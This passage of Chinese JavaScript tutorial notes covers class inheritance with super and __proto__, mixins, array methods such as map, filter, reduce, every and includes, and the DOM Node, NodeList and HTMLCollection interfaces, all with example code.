b.m // undefined
```

如果属性定义在父类的原型对象上，super就可以取到。

```javascript
class A {}
A.prototype.x = 2;

class B extends A {
  constructor() {
    super();
    console.log(super.x) // 2
  }
}

let b = new B();
b.x // 2
```

ES6 规定，在子类普通方法中通过super调用父类的方法时，方法内部的this指向当前的子类实例。

```javascript
class A {
  constructor() {
    this.x = 1;
  }
  print() {
    console.log(this.x);
  }
}

class B extends A {
  constructor() {
    super();
    this.x = 2;
  }
  m() {
    super.print();
  }
}

let b = new B();
b.m() // 2
```

由于this指向子类实例，所以如果通过super对某个属性赋值，这时super就是this，赋值的属性会变成子类实例的属性。

```javascript
class A {
  constructor() {
    this.x = 1;
  }
}

class B extends A {
  constructor() {
    super();
    this.x = 2;
    super.x = 3;
    console.log(super.x); // undefined
    console.log(this.x); // 3
  }
}

let b = new B();
b.x // 3
```

上面代码中，super.x赋值为3，这时等同于对this.x赋值为3。而当读取super.x的时候，读的是A.prototype.x，所以返回undefined。

如果super作为对象，用在静态方法之中，这时super将指向父类，而不是父类的原型对象。

```javascript
class Parent {
  static myMethod(msg) {
    console.log('static', msg);
  }

  myMethod(msg) {
    console.log('instance', msg);
  }
}

class Child extends Parent {
  static myMethod(msg) {
    super.myMethod(msg);
  }

  myMethod(msg) {
    super.myMethod(msg);
  }
}

Child.myMethod(1); // static 1

var child = new Child();
child.myMethod(2); // instance 2
Parent.myMethod(3); // static 3
```

上面代码中，super在静态方法之中指向父类，在普通方法之中指向父类的原型对象。

另外，在子类的静态方法中通过super调用父类的方法时，方法内部的this指向当前的子类，而不是子类的实例。

```javascript
class A {
  constructor() {
    this.x = 1;
  }
  static print() {
    console.log(this.x);
  }
}

class B extends A {
  constructor() {
    super();
    this.x = 2;
  }
  static m() {
    super.print();
  }
}

B.x = 3;
B.m() // 3
```

上面代码中，静态方法B.m里面，super.print指向父类的静态方法。这个方法里面的this指向的是B，而不是B的实例。

## 类的 prototype 属性和\_\_proto\_\_属性

每一个对象都有\_\_proto\_\_属性，指向对应的构造函数的prototype属性。Class 作为构造函数的语法糖，同时有prototype属性和\_\_proto\_\_属性，因此同时存在两条继承链。

（1）子类的\_\_proto\_\_属性，表示构造函数的继承，总是指向父类。

（2）子类prototype属性的\_\_proto\_\_属性，表示方法的继承，总是指向父类的prototype属性。

```javascript
class A {
}

class B extends A {
}

B.__proto__ === A // true
B.prototype.__proto__ === A.prototype // true
```

上面代码中，子类B的\_\_proto\_\_属性指向父类A，子类B的prototype属性的\_\_proto\_\_属性指向父类A的prototype属性。
子类B的prototype属性指向子类B的原型对象，它是指向一个由 JavaScript 自动创建的对象，这个对象的 **proto** 指向 A.prototype，实现原型链继承。

这样的结果是因为，类的继承是按照下面的模式实现的。

```javascript
class A {
}

class B {
}

// B 的实例继承 A 的实例
Object.setPrototypeOf(B.prototype, A.prototype);

// B 继承 A 的静态属性
Object.setPrototypeOf(B, A);

const b = new B();
```

Object.setPrototypeOf方法的实现。

```javascript
Object.setPrototypeOf = function (obj, proto) {
  obj.__proto__ = proto;
  return obj;
}
```

因此，就得到了上面的结果。

```javascript
Object.setPrototypeOf(B.prototype, A.prototype);
// 等同于
B.prototype.__proto__ = A.prototype;

Object.setPrototypeOf(B, A);
// 等同于
B.__proto__ = A;
```

子类（B）的原型（\_\_proto\_\_属性）是父类（A）；作为一个构造函数，子类（B）的原型对象（prototype属性）是父类的原型对象（prototype属性）的实例。

extends关键字后面可以跟多种类型的值。

```javascript
class B extends A {
}
```

上面代码的A，只要是一个有prototype属性的函数，就能被B继承。由于函数都有prototype属性（除了Function.prototype函数），因此A可以是任意函数。

## 实例的 **proto** 属性

子类实例的`__proto__`属性的`__proto__`属性，指向父类实例的`__proto__`属性。也就是说，子类的原型的原型，是父类的原型。

```javascript
var p1 = new Point(2, 3);
var p2 = new ColorPoint(2, 3, 'red');

p2.__proto__ === p1.__proto__ // false
p2.__proto__.__proto__ === p1.__proto__ // true
```

上面代码中，`ColorPoint`继承了`Point`，导致前者原型的原型是后者的原型。

因此，通过子类实例的`__proto__.__proto__`属性，可以修改父类实例的行为。

```js
p2.__proto__.__proto__.printName = function () {
  console.log('Ha');
};

p1.printName() // "Ha"
```

上面代码在`ColorPoint`的实例`p2`上向`Point`类添加方法，结果影响到了`Point`的实例`p1`。

## Mixin 模式的实现

Mixin 指的是多个对象合成一个新的对象，新对象具有各个组成成员的接口。它的最简单实现如下。

```js
const a = {
  a: 'a'
};
const b = {
  b: 'b'
};
const c = {...a, ...b}; // {a: 'a', b: 'b'}
```

上面代码中，`c`对象是`a`对象和`b`对象的合成，具有两者的接口。

下面是一个更完备的实现，将多个类的接口“混入”（mixin）另一个类。

```js
function mix(...mixins) {
  class Mix {
    constructor() {
      for (let mixin of mixins) {
        copyProperties(this, new mixin()); // 拷贝实例属性
      }
    }
  }

  for (let mixin of mixins) {
    copyProperties(Mix, mixin); // 拷贝静态属性
    copyProperties(Mix.prototype, mixin.prototype); // 拷贝原型属性
  }

  return Mix;
}

function copyProperties(target, source) {
  for (let key of Reflect.ownKeys(source)) {
    if ( key !== 'constructor'
      && key !== 'prototype'
      && key !== 'name'
    ) {
      let desc = Object.getOwnPropertyDescriptor(source, key);
      Object.defineProperty(target, key, desc);
    }
  }
}
```

上面代码的`mix`函数，可以将多个对象合成为一个类。使用的时候，只要继承这个类即可。

```js
class DistributedEdit extends mix(Loggable, Serializable) {
  // ...
}
```

---

---
url: /js/yhko4mw2/index.md
---
# 数组的一些方法
## for/forEach

在性能上 **for > forEach**

* for循环直接操作索引，没有额外的函数调用和上下文，所以性能是最快的
* for可以使用break终止，forEach不支持 跳出循环

```js
        let arrs = [...Array(999999).keys()]
        let total = 0;
        let startTime = Date.now();
        for (let i = 0; i < arrs.length; i++) total += i;
        let endTime = Date.now()
        let countTime = endTime - startTime;
        console.log('Count:', total);
        console.log("Time:", countTime);
```

```js
        let arrs = [...Array(999999).keys()]
        let total = 0;
        let startTime = Date.now();
        arrs.forEach(item => {
            total += item;
        })
        let endTime = Date.now()
        let countTime = endTime - startTime;
        console.log('Count:', total);
        console.log("Time:", countTime);
```

> \[!IMPORTANT]
>
> forEach不支持异步任务（async-await），不会等待异步任务，或者使用for

## map

map()方法是数组原型的一个函数，对数组遍历不会破坏数组，将会创建一个新数组，**按照原数组元素的顺序依次执行给定义的函数**，**返回一个新数组**

适用于处理数组中的每个元素并且生成一个新的数组。

语法：

```js
map(callbackFuction)
map(callbackFuction,thisArray)
```

参数：

回调函数：
**element**数组中当前正在处理的元素

**index**正在处理的元素在数组中的索引

**array** 原数组

> \[!IMPORTANT]
>
> 使用for循环进行网络请求是**依次发送**，用map+promiseAll可以实现**并发请求**

## filter

filter()方法会对数组的每个元素应用指定的函数，并返回一个新的数组，其中**只有符合条件的元素**，并且原数组不受到影响，**只有满足True才能被处理到新数组中**

**参数**：

回调函数：
**element**:数组中正在处理的元素

**index**:正在处理元素的索引值

**array**：原数组

过滤实现去重效果

indexOf方法返回**第一个**匹配的元素的索引

```js
        let arrs = [1, 4, 5, 6, 6, 2, 4, 5, 6]
        let NewArrs = arrs.filter((item, index, arrs) => {
            return arrs.indexOf(item) == index
        })
        console.log(NewArrs);
```

filter + map组合使用(**链式调用**)，实现**去除无用信息加自定义属性**

```js
let student = [
    { id: 1, name: 'zhangsan' },
    { id: 2, name: 'lisi' },
    { id: undefined, name: 'wangwu' },
    { id: 3, name: 'ergou' },
]
let NewStudent = student.filter((item) => {
    return item.id
}).map((item) => {
    return {
        ...item,
        sex: '男'
    }
})
console.log(NewStudent);

// {id: 1, name: 'zhangsan', sex: '男'}
// {id: 2, name: 'lisi', sex: '男'}
// {id: 3, name: 'ergou', sex: '男'}
```

## reduce

reduce方法对数组中的每个元素按顺序执行一个指定方法，每一次执行reduce会将先前元素的计算结果作为参数传入

语法：

* **reduce(callbackFunction)**
* **reduce(callbackFunction,initValue(初始值))**

参数

回调函数：
prev(必填)：上一次调用回调函数的结果

current（必填）：当前的元素的值

index（可选）：当前值在数组中的索引位置

array（可选）：数组本身

初始值：

第一次调用回调函数的初始值。如果指定初始值，则回调函数从数组中的第一个值作为当前值开始执行

**如果没有指定初始值，数组中的第一个值是prev参数的值**，数值第二个值是current参数的值，如果数组为空，则抛出错误，**所有在不知道数组长度情况下可以指定初始值为0，保持逻辑的严谨性**

**不使用初始值**：

```js
        let reslut = [1, 2, 3, 4, 5];
        let resluts = reslut.reduce((prev, current, index) => {
            console.log('上一次值：', prev, '当前值：', current, '索引：', index);
            return prev + current;
        })
        console.log('最终结果', resluts);
```

```bash
上一次值： 1 当前值： 2 索引： 1
nav.html:14 上一次值： 3 当前值： 3 索引： 2
nav.html:14 上一次值： 6 当前值： 4 索引： 3
nav.html:14 上一次值： 10 当前值： 5 索引： 4
nav.html:17 最终结果 15
```

**使用初始值**：

```js
   let reslut = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
        let resluts = reslut.reduce((prev, current, index) => {
            console.log('上一次值：', prev, '当前值：', current, '索引：', index);
            return prev + current;
        }, 0)
        console.log('最终结果', resluts);
```

```bash
上一次值： 0 当前值： 1 索引： 0
nav.html:14 上一次值： 1 当前值： 2 索引： 1
nav.html:14 上一次值： 3 当前值： 3 索引： 2
nav.html:14 上一次值： 6 当前值： 4 索引： 3
nav.html:14 上一次值： 10 当前值： 5 索引： 4
nav.html:14 上一次值： 15 当前值： 6 索引： 5
nav.html:14 上一次值： 21 当前值： 7 索引： 6
nav.html:14 上一次值： 28 当前值： 8 索引： 7
nav.html:14 上一次值： 36 当前值： 9 索引： 8
nav.html:14 上一次值： 45 当前值： 10 索引： 9
nav.html:17 最终结果 55
```

**实现数组最大值：**

```js
        let reslut = [23, 54, 76, 87, 98, 21];
        let resluts = reslut.reduce((prev, current, index) => {
            return Math.max(prev, current);
        }, 0)
        console.log('数组最大值：', resluts);
```

## every

判断数组中所有元素是否满足函数中给的条件，全部满足返回True，否则false

语法：

* **every(callbackFunction)**
* **every(callbackFunction,thisArry)**

参数：

**回调函数：**

element：数组中当前正在处理的元素

index：当前处理元素的索引

array：数组本身

**thisArry**

执行回调函数时用作this的值

```js
        let reslut = [23, 54, 76, 87, 98, 21];
        let status = reslut.every(num => num > 30)
        console.log(status);
// 返回false
```

**判断所有商品是否有库存**

```js
        let more = [
            { name: '华为', price: '8999', stock: true },
            { name: '小米', price: '9999', stock: false },
            { name: '苹果', price: '1999', stock: true },
        ]
        let result = more.every((value) => {
            return value.stock;
        })
        console.log(result)
// false
```

**实现表单所有输入完成才能提交**

...

## some

和every类似，唯一不同的是，只要满足一个即返回ture，否则false

## includes

includes方法用于判断**数组**中是否包含一个**指定的值**，根据情况，包含返回true，否则返回false

> \[!IMPORTANT]
>
> includes方法只能用于检测基础数据类型(数字，字符串，布尔值)，不能检测包含对象的类型
>
> **因为校验的不是值，是地址**
>
> * \[1,2,3,4,5,6]
> * \[{a:'-',b:'-',c:'-'},{a:'-',b:'-',c:'-'},{a:'-',b:'-',c:'-'}]

**语法：**

includes（searchElement）

includes（searchElement，formIndex）

**参数**：

searchElement 需要查找的值

formIndex开始搜索的索引

```js
        let a=[1,2,'he',true];
        console.log(a.includes('he'));
```

**every配合includes实现检测一个数组是否包含另一个数组中的所有值**

```js
        let arr = [1, 2, 3, 4, 5, 6, 7, 8, 9];
        let num = [1, 2, 6];
        let status = num.every((ele) => {
            return arr.includes(ele);
        })
        console.log(status);

```

---

---
url: /js/z3bj6ewe/index.md
---
### 概述

DOM 是 JavaScript 操作网页的接口，全称为“文档对象模型”（Document Object Model）。它的作用是将网页转为一个 JavaScript 对象，从而可以用脚本进行各种操作（比如增删内容）。

### 节点

DOM 的最小组成单位叫做节点（node）。文档的树形结构（DOM 树），就是由各种不同类型的节点组成。每个节点可以看作是文档树的一片叶子。

节点的类型有七种。

* `Document`：整个文档树的顶层节点
* `DocumentType`：`doctype`标签（比如`<!DOCTYPE html>`）
* `Element`：网页的各种HTML标签（比如`<body>`、`<a>`等）
* `Attr`：网页元素的属性（比如`class="right"`）
* `Text`：标签之间或标签包含的文本
* `Comment`：注释
* `DocumentFragment`：文档的片段

浏览器提供一个原生的节点对象`Node`，上面这七种节点都继承了`Node`，**因此具有一些共同的属性和方法。**

> \[!tip]
>
> **DocumentFragment** 是 DOM（文档对象模型）中的一个特殊节点类型，它代表一个轻量级的文档片段。
>
> DocumentFragment 节点本身不是一个真实的 DOM 节点，因此它不会直接出现在浏览器的渲染树中。**它主要用于临时存储和管理一组节点，以便在需要时一次性将它们添加到实际的 DOM 树中**

### 节点树

一个文档的所有节点，按照所在的层级，可以抽象成一种树状结构。

这种树状结构就是 DOM 树。它有一个顶层节点，下一层都是顶层节点的子节点，然后子节点又有自己的子节点，就这样层层衍生出一个金字塔结构，又像一棵树。

浏览器原生提供`document`节点，代表整个文档。

```js
document
// 整个文档树
#document
```

文档的第一层有两个节点，第一个是文档类型节点（`<!doctype html>`），第二个是 HTML 网页的顶层容器标签`<html>`。后者构成了树结构的根节点（root node），其他 HTML 标签节点都是它的下级节点。

除了根节点，其他节点都有三种层级关系。

* 父节点关系（parentNode）：直接的那个上级节点
* 子节点关系（childNodes）：直接的下级节点
* 同级节点关系（sibling）：拥有同一个父节点的节点

DOM 提供操作接口，用来获取这三种关系的节点。

比如，子节点接口包括`firstChild`（第一个子节点）和`lastChild`（最后一个子节点）等属性，同级节点接口包括`nextSibling`（紧邻在后的那个同级节点）和`previousSibling`（紧邻在前的那个同级节点）属性。

### Node 属性

#### nodeType

`Node.prototype.nodeType`属性返回一个整数值，表示节点的类型。

```js
document.nodeType // 9
```

上面代码中，文档节点的类型值为9。

Node 对象定义了几个常量，对应这些类型值。

```js
document.nodeType === Node.DOCUMENT_NODE // true
```

上面代码中，文档节点的`nodeType`属性等于常量`Node.DOCUMENT_NODE`。

不同节点的`nodeType`属性值和对应的常量如下。

* 文档节点（document）：9，对应常量`Node.DOCUMENT_NODE`
* 元素节点（element）：1，对应常量`Node.ELEMENT_NODE`
* 属性节点（attr）：2，对应常量`Node.ATTRIBUTE_NODE`
* 文本节点（text）：3，对应常量`Node.TEXT_NODE`
* 文档片断节点（DocumentFragment）：11，对应常量`Node.DOCUMENT_FRAGMENT_NODE`
* 文档类型节点（DocumentType）：10，对应常量`Node.DOCUMENT_TYPE_NODE`
* 注释节点（Comment）：8，对应常量`Node.COMMENT_NODE`

#### nodeName

`Node.prototype.nodeName`属性返回节点的名称。

```js
// HTML 代码如下
// <div id="d1">hello world</div>
var div = document.getElementById('d1');
div.nodeName // "DIV"
```

上面代码中，元素节点`<div>`的`nodeName`属性就是大写的标签名`DIV`。

不同节点的`nodeName`属性值如下。

* 文档节点（document）：`#document`
* 元素节点（element）：大写的标签名
* 属性节点（attr）：属性的名称
* 文本节点（text）：`#text`
* 文档片断节点（DocumentFragment）：`#document-fragment`
* 文档类型节点（DocumentType）：文档的类型
* 注释节点（Comment）：`#comment`

#### nodeValue

`Node.prototype.nodeValue`属性返回一个字符串，表示当前节点本身的文本值，该属性可读写。

只有文本节点（text）、注释节点（comment）和属性节点（attr）有文本值，因此这三类节点的`nodeValue`可以返回结果，其他类型的节点一律返回`null`。

同样的，也只有这三类节点可以设置`nodeValue`属性的值，其他类型的节点设置无效。

```js
// HTML 代码如下
// <div id="d1">hello world</div>
var div = document.getElementById('d1');
div.nodeValue // null
div.firstChild.nodeValue // "hello world"
```

上面代码中，`div`是元素节点，`nodeValue`属性返回`null`。`div.firstChild`是文本节点，所以可以返回文本值。

#### textContent

`Node.prototype.textContent`属性返回当前节点和它的所有后代节点的文本内容。

```js
// HTML 代码为
// <div id="divA">This is <span>some</span> text</div>

document.getElementById('divA').textContent
// This is some text
```

`textContent`属性**自动忽略当前节点内部的 HTML 标签**，返回所有文本内容。

该属性是可读写的，设置该属性的值，会用一个新的文本节点，替换所有原来的子节点。

它还有一个好处，就是自动对 HTML 标签转义（纯字符串使用）。这很适合用于用户提供的内容（防止用户插入带有标签的内容）。

```js
document.getElementById('foo').textContent = '<p>GoodBye!</p>';
```

上面代码在插入文本时，会将`<p>`标签解释为文本，而不会当作标签处理。

对于文本节点（text）、注释节点（comment）和属性节点（attr），`textContent`属性的值与`nodeValue`属性相同。

对于其他类型的节点，该属性会将每个子节点（不包括注释节点）的内容连接在一起返回。如果一个节点没有子节点，则返回空字符串。

文档节点（document）和文档类型节点（doctype）的`textContent`属性为`null`。如果要读取整个文档的内容，可以使用`document.documentElement.textContent`。

#### aseURI

`Node.prototype.baseURI`属性返回一个字符串，表示当前网页的绝对路径。浏览器根据这个属性，计算网页上的相对路径的 URL。该属性为只读。

```js
// 当前网页的网址为
// http://www.example.com/index.html
document.baseURI
// "http://www.example.com/index.html"
```

如果无法读到网页的 URL，`baseURI`属性返回`null`。

该属性的值一般由当前网址的 URL（即`window.location`属性）决定，但是可以使用 HTML 的`<base>`标签，改变该属性的值。

```js
<base href="http://www.example.com/page.html">
```

设置了以后，`baseURI`属性就返回`<base>`标签设置的值。

#### ownerDocument

`Node.prototype.ownerDocument`属性返回当前节点所在的顶层文档对象，即`document`对象。

`document`对象本身的`ownerDocument`属性，返回`null`。

#### nextSibling

`Node.prototype.nextSibling `属性返回紧跟在当前节点后面的第一个同级节点。如果当前节点后面没有同级节点，则返回`null`。

```js
// HTML 代码如下
// <div id="d1">hello</div><div id="d2">world</div>
var d1 = document.getElementById('d1');
var d2 = document.getElementById('d2');

d1.nextSibling === d2 // true
```

上面代码中，`d1.nextSibling`就是**紧跟**在`d1`后面的同级节点`d2`。

注意，该属性还包括文本节点和注释节点（`<!-- comment -->`）。因此**如果当前节点后面有空格**，该属性会返回一个文本节点，内容为空格。

#### previousSibling

`Node.prototype.previousSibling`属性返回当前节点前面的、距离最近的一个同级节点。如果当前节点前面没有同级节点，则返回`null`。

注意，该属性还包括文本节点和注释节点。因此如果当前节点前面有空格，该属性会返回一个文本节点，内容为空格。

#### parentNode

`Node.prototype.parentNode`属性返回当前节点的父节点。对于一个节点来说，它的父节点只可能是三种类型：元素节点（element）、文档节点（document）和文档片段节点（documentfragment）。

文档节点（document）和文档片段节点（documentfragment）的父节点都是`null`。另外，对于那些生成后还没插入 DOM 树的节点，父节点也是`null`。

#### parentElement

`Node.prototype.parentElement`属性返回当前节点的父元素节点。如果当前节点没有父节点，或者父节点类型不是元素节点，则返回`null`。

由于父节点只可能是三种类型：**元素节点**、文档节点（document）和文档片段节点（documentfragment）。`parentElement`属性相当于把后两种父节点都排除了。

#### firstChild

`Node.prototype.firstChild`属性返回当前节点的第一个子节点，如果当前节点没有子节点，则返回`null`。

注意，`firstChild`返回的除了元素节点，还可能是文本节点或注释节点。

```js
// HTML 代码如下
// <p id="p1">
//   <span>First span</span>
//  </p>
var p1 = document.getElementById('p1');
p1.firstChild.nodeName // "#text"
```

上面代码中，`p`元素与`span`元素之间有空白字符，这导致`firstChild`返回的是文本节点。

#### lastChild

`lastChild`属性返回当前节点的最后一个子节点，如果当前节点没有子节点，则返回`null`。用法与`firstChild`属性相同。

#### childNodes

`Node.prototype.childNodes`属性返回一个类似数组的对象（`NodeList`集合），成员包括当前节点的所有子节点。

```js
var children = document.querySelector('ul').childNodes;
```

上面代码中，`children`就是`ul`元素的所有子节点。

使用该属性，可以遍历某个节点的所有子节点。

```js
for (var i = 0; i < document.getElementById('div1').childNodes.length; i++) {
  // ...
}
```

文档节点（document）就有两个子节点：文档类型节点（docType）和 HTML 根元素节点。

```js
#document/
├─ <! DOCTYPE html>
├─ <html>...</html>
```

```js
var children = document.childNodes;
for (var i = 0; i < children.length; i++) {
  console.log(children[i].nodeType);
}
// 10
// 1
```

上面代码中，文档节点的第一个子节点的类型是10（即文档类型节点），第二个子节点的类型是1（即元素节点）。

注意，除了元素节点，`childNodes`属性的返回值还包括文本节点和注释节点。

如果当前节点不包括任何子节点，则返回一个空的`NodeList`集合。由于`NodeList`对象是一个动态集合，一旦子节点发生变化，立刻会反映在返回结果之中。

#### isConnected

`Node.prototype.isConnected`属性返回一个布尔值，表示当前节点是否在文档之中。

```js
var test = document.createElement('p');
test.isConnected // false

document.body.appendChild(test);
test.isConnected // true
```

上面代码中，`test`节点是脚本生成的节点，没有插入文档之前，`isConnected`属性返回`false`，插入之后返回`true`。

### Node 方法

#### appendChild()

`Node.prototype.appendChild()`方法接受一个节点对象作为参数，将其作为最后一个子节点，插入当前节点。该方法的返回值就是插入文档的子节点。

```js
var p = document.createElement('p');
document.body.appendChild(p);
```

上面代码新建一个`<p>`节点，将其插入`document.body`的尾部。

如果参数节点是 DOM **已经存在的节点**，`appendChild()`方法会将其从原来的位置，移动到新位置。

如果`appendChild()`方法的参数是`DocumentFragment`节点，那么插入的是`DocumentFragment`的所有子节点，而不是`DocumentFragment`节点本身。返回值是一个空的`DocumentFragment`节点。

#### hasChildNodes()

`Node.prototype.hasChildNodes()`方法返回一个布尔值，表示当前节点是否有子节点。

注意，子节点包括所有类型的节点，并不仅仅是元素节点。哪怕节点只包含一个空格，`hasChildNodes`方法也会返回`true`。

判断一个节点有没有子节点，有许多种方法，下面是其中的三种。

* `node.hasChildNodes()`
* `node.firstChild !== null`
* `node.childNodes && node.childNodes.length > 0`

#### cloneNode()

`Node.prototype.cloneNode()`方法用于克隆一个节点。它接受一个布尔值作为参数，表示是否同时克隆子节点。它的返回值是一个克隆出来的新节点。

```js
var cloneUL = document.querySelector('ul').cloneNode(true);
```

该方法有一些使用注意点。

（1）克隆一个节点，会拷贝该节点的所有属性，但是会丧失`addEventListener`方法和`on-`属性（即`node.onclick = fn`），添加在这个节点上的事件回调函数。

（2）该方法返回的节点不在文档之中，即没有任何父节点，必须使用诸如`Node.appendChild`这样的方法添加到文档之中。

（3）克隆一个节点之后，DOM 有可能出现两个有相同`id`属性（即`id="xxx"`）的网页元素，这时应该修改其中一个元素的`id`属性。如果原节点有`name`属性，可能也需要修改。

#### insertBefore()

`Node.prototype.insertBefore()`方法用于将某个节点插入父节点内部的指定位置。

```js
var insertedNode = parentNode.insertBefore(newNode, referenceNode);
```

`insertBefore`方法接受两个参数，第一个参数是所要插入的节点`newNode`，第二个参数是父节点`parentNode`内部的一个子节点`referenceNode`。`newNode`将插在`referenceNode`这个子节点的前面。返回值是插入的新节点`newNode`。

```js
var p = document.createElement('p');
document.body.insertBefore(p, document.body.firstChild);
```

上面代码中，新建一个`<p>`节点，插在`document.body.firstChild`的前面，也就是成为`document.body`的第一个子节点。

如果`insertBefore`方法的第二个参数为`null`，则新节点将插在当前节点内部的最后位置，即变成最后一个子节点。

```js
var p = document.createElement('p');
document.body.insertBefore(p, null);
```

上面代码中，`p`将成为`document.body`的最后一个子节点。这也说明`insertBefore`的第二个参数不能省略。

**注意**，如果所要插入的节点是当前 DOM 现有的节点，则该节点将从原有的位置移除，插入新的位置。

由于不存在`insertAfter`方法，如果新节点要插在父节点的某个子节点后面，可以用`insertBefore`方法结合`nextSibling`属性模拟。

```js
parent.insertBefore(s1, s2.nextSibling);
```

上面代码中，`parent`是父节点，`s1`是一个全新的节点，`s2`是可以将`s1`节点，插在`s2`节点的后面。

如果`s2`是当前节点的最后一个子节点，则`s2.nextSibling`返回`null`，这时`s1`节点会插在当前节点的最后，变成当前节点的最后一个子节点，等于紧跟在`s2`的后面。

如果要插入的节点是`DocumentFragment`类型，那么插入的将是`DocumentFragment`的所有子节点，而不是`DocumentFragment`节点本身。返回值将是一个空的`DocumentFragment`节点。

#### removeChild()

`Node.prototype.removeChild()`方法接受一个子节点作为参数，用于从当前节点移除该子节点。返回值是移除的子节点。

```js
var divA = document.getElementById('A');
divA.parentNode.removeChild(divA);
```

上面代码移除了`divA`节点。注意，这个方法是在`divA`的父节点上调用的，不是在`divA`上调用的。

**被移除的节点依然存在于内存之中**，但不再是 DOM 的一部分。

所以，一个节点移除以后，依然可以使用它，比如插入到另一个节点下面。

如果参数节点不是当前节点的子节点，`removeChild`方法将报错。

#### replaceChild()

`Node.prototype.replaceChild()`方法用于将一个新的节点，替换当前节点的某一个子节点。

```js
var replacedNode = parentNode.replaceChild(newChild, oldChild);
```

上面代码中，`replaceChild`方法接受两个参数，第一个参数`newChild`是用来替换的新节点，第二个参数`oldChild`是将要替换走的子节点。返回值是替换走的那个节点`oldChild`。

::: details 例子

```js
var divA = document.getElementById('divA');
var newSpan = document.createElement('span');
newSpan.textContent = 'Hello World!';
divA.parentNode.replaceChild(newSpan, divA);
```

上面代码是如何将指定节点`divA`替换走。

:::

#### contains()

`Node.prototype.contains()`方法返回一个布尔值，表示参数节点是否满足以下三个条件之一。

* 参数节点为当前节点。
* 参数节点为当前节点的子节点。
* 参数节点为当前节点的后代节点。

#### compareDocumentPosition()

`Node.prototype.compareDocumentPosition()`方法的用法，与`contains`方法完全一致，返回一个六个比特位的二进制值，表示参数节点与当前节点的关系。

| 二进制值 | 十进制值 | 含义                                               |
| -------- | -------- | -------------------------------------------------- |
| 000000   | 0        | 两个节点相同                                       |
| 000001   | 1        | 两个节点不在同一个文档（即有一个节点不在当前文档） |
| 000010   | 2        | 参数节点在当前节点的前面                           |
| 000100   | 4        | 参数节点在当前节点的后面                           |
| 001000   | 8        | 参数节点包含当前节点                               |
| 010000   | 16       | 当前节点包含参数节点                               |
| 100000   | 32       | 浏览器内部使用                                     |

#### isEqualNode()

`Node.prototype.isEqualNode()`方法返回一个布尔值，用于检查两个节点是否相等。所谓相等的节点，指的是两个节点的类型相同、属性相同、子节点相同。

#### isSameNode()

`Node.prototype.isSameNode()`方法返回一个布尔值，表示两个节点是否为同一个节点。

#### normalize()

`Node.prototype.normalize()`方法用于清理当前节点内部的所有文本节点（text）。它会去除空的文本节点，并且将毗邻的文本节点合并成一个，也就是说不存在空的文本节点，以及毗邻的文本节点。

```js
var wrapper = document.createElement('div');

wrapper.appendChild(document.createTextNode('Part 1 '));
wrapper.appendChild(document.createTextNode('Part 2 '));

wrapper.childNodes.length // 2
wrapper.normalize();
wrapper.childNodes.length // 1
```

上面代码使用`normalize`方法之前，`wrapper`节点有两个毗邻的文本子节点。使用`normalize`方法之后，两个文本子节点被合并成一个。

该方法是`Text.splitText`的逆方法。

#### getRootNode()

`Node.prototype.getRootNode()`方法返回当前节点所在文档的根节点`document`，与`ownerDocument`属性的作用相同。

**NodeList 接口，HTMLCollection 接口**：

节点都是单个对象，有时需要一种数据结构，能够容纳多个节点。DOM 提供两种节点集合，用于容纳多个节点：`NodeList`和`HTMLCollection`。

这两种集合都属于接口规范。许多DOM属性和方法，返回的结果是`NodeList`实例或者`HTMLCollection`实例。

主要区别是，`NodeList`可以包含各种类型的节点，`HTMLCollection`只能包含HTML元素节点。

### NodeList 接口

#### 概述

`NodeList`实例是一个类似数组的对象，它的成员是节点对象。通过以下方法可以得到`NodeList`实例。

* `Node.childNodes`
* `document.querySelectorAll()`等节点搜索方法

```js
document.body.childNodes instanceof NodeList // true
```

`NodeList`实例很像数组，可以使用`length`属性和`forEach`方法。但是，它不是数组，不能使用`pop`或`push`之类数组特有的方法。

如果`NodeList`实例要使用数组方法，可以将其转为真正的数组。

```js
var children = document.body.childNodes;
var nodeArr = Array.prototype.slice.call(children);
```

除了使用`forEach`方法遍历 NodeList 实例，还可以使用`for`循环。

```js
var children = document.body.childNodes;

for (var i = 0; i < children.length; i++) {
  var item = children[i];
}
```

注意，NodeList 实例可能是动态集合，也可能是静态集合。所谓动态集合就是一个活的集合，DOM 删除或新增一个相关节点，都会立刻反映在 NodeList 实例。

目前，只有`Node.childNodes`返回的是一个动态集合，其他的 NodeList 都是静态集合。

```js
var children = document.body.childNodes;
children.length // 18
document.body.appendChild(document.createElement('p'));
children.length // 19
```

上面代码中，文档增加一个子节点，NodeList 实例`children`的`length`属性就增加了1。

#### length

`NodeList.prototype.length`属性返回 NodeList 实例包含的节点数量。

#### forEach()

`NodeList.prototype.forEach()`方法用于遍历 NodeList 的所有成员。它接受一个回调函数作为参数，每一轮遍历就执行一次这个回调函数，用法与数组实例的`forEach`方法完全一致。

```js
var children = document.body.childNodes;
children.forEach(function f(item, i, list) {
  // ...
}, this);
```

上面代码中，回调函数`f`的三个参数依次是当前成员、位置和当前 NodeList 实例。`forEach`方法的第二个参数，用于绑定回调函数内部的`this`，该参数可省略。

#### item()

`NodeList.prototype.item()`方法接受一个整数值作为参数，表示成员的位置，返回该位置上的成员。

```js
document.body.childNodes.item(0)
```

如果参数值大于实际长度，或者索引不合法（比如负数），`item`方法返回`null`。如果省略参数，`item`方法会报错。

所有类似数组的对象，都可以使用方括号运算符取出成员。一般情况下，都是使用方括号运算符，而不使用`item`方法。

```js
document.body.childNodes[0]
```

#### keys()

#### values()

#### entries()

这三个方法都返回一个 ES6 的遍历器对象，可以通过`for...of`循环遍历获取每一个成员的信息。

区别在于，`keys()`返回键名的遍历器，`values()`返回键值的遍历器，`entries()`返回的遍历器同时包含键名和键值的信息。

```js
var children = document.body.childNodes;

for (var key of children.keys()) {
  console.log(key);
}
// 0
// 1
// 2
// ...

for (var value of children.values()) {
  console.log(value);
}
// #text
// <script>
// ...

for (var entry of children.entries()) {
  console.log(entry);
}
// Array [ 0, #text ]
// Array [ 1, <script> ]
// ...
```

### HTMLCollection 接口

#### 概述

`HTMLCollection`是一个节点对象的集合，只能包含元素节点（element），不能包含其他类型的节点。

它的返回值是一个类似数组的对象，但是与`NodeList`接口不同，`HTMLCollection`没有`forEach`方法，只能使用`for`循环遍历。

返回`HTMLCollection`实例的，主要是一些`Document`对象的集合属性，比如`document.links`、`document.forms`、`document.images`等。

```js
document.links instanceof HTMLCollection // true
```

`HTMLCollection`实例都是动态集合，节点的变化会实时反映在集合中。

如果元素节点有`id`或`name`属性，那么`HTMLCollection`实例上面，可以使用`id`属性或`name`属性引用该节点元素。如果没有对应的节点，则返回`null`。

```js
